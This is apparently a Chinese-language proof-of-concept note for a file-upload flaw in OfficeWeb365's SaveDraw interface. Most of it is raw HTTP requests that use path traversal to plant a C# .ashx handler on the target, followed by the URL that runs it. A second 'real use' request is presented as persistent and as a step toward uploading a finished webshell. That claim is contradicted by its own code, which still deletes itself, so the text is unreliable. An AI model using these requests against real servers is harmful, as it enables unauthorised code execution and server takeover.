OfficeWeb365 的 SaveDraw 接口存在文件上传漏洞,允许攻击者上传任意文件并执行恶意代码,从而获取服务器权限。这一漏洞影响版本包括 v8.6.1.0 和 v7.18.23.0。
漏洞利用示例
攻击者通过以下 HTTP 请求上传恶意文件:
POST /PW/SaveDraw?path=../../Content/img&idx=10.ashx HTTP/1.1
Host: xx.xx.xx.xx:8088
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Content-Type: application/x-www-form-urlencoded
data:image/png;base64,{{filehash}}<%@ Language="C#" Class="Handler1" %>public class Handler1:System.Web.IHttpHandler
{
public void ProcessRequest(System.Web.HttpContext context)
{
System.Web.HttpResponse response = context.Response;
response.Write(44 * 41);
string filePath = context.Server.MapPath("/") + context.Request.Path;
if (System.IO.File.Exists(filePath))
{
System.IO.File.Delete(filePath);
}
}
public bool IsReusable
{
get { return false; }
}
}///---
成功后,攻击者可通过访问 http://target.com/Content/img/UserDraw/drawPW10.ashx 执行上传的恶意代码。

但是这个代码是一次性的 访问后就会删除 因为网上的POC有System.IO.File.Delete(filePath);

所以再真的利用的poc要用
GET /PW/SaveDraw?path=../../Content/img&idx=bddalnpl.ashx HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 511
data:image/png;base64,30087ab5b1cd6d7d34d7f22f53819448<%@ Language="C#" Class="Handler1" %>public class Handler1:System.Web.IHttpHandler
{
public void ProcessRequest(System.Web.HttpContext context)
{
System.Web.HttpResponse response = context.Response;
response.Write("Webshell");
string filePath = context.Server.MapPath("/") + context.Request.Path;
if (System.IO.File.Exists(filePath))
{
System.IO.File.Delete(filePath);
}
}
public bool IsReusable
{
get { return false; }
}
}///---
这个POC就长久化了。最后上传成品并执行命令
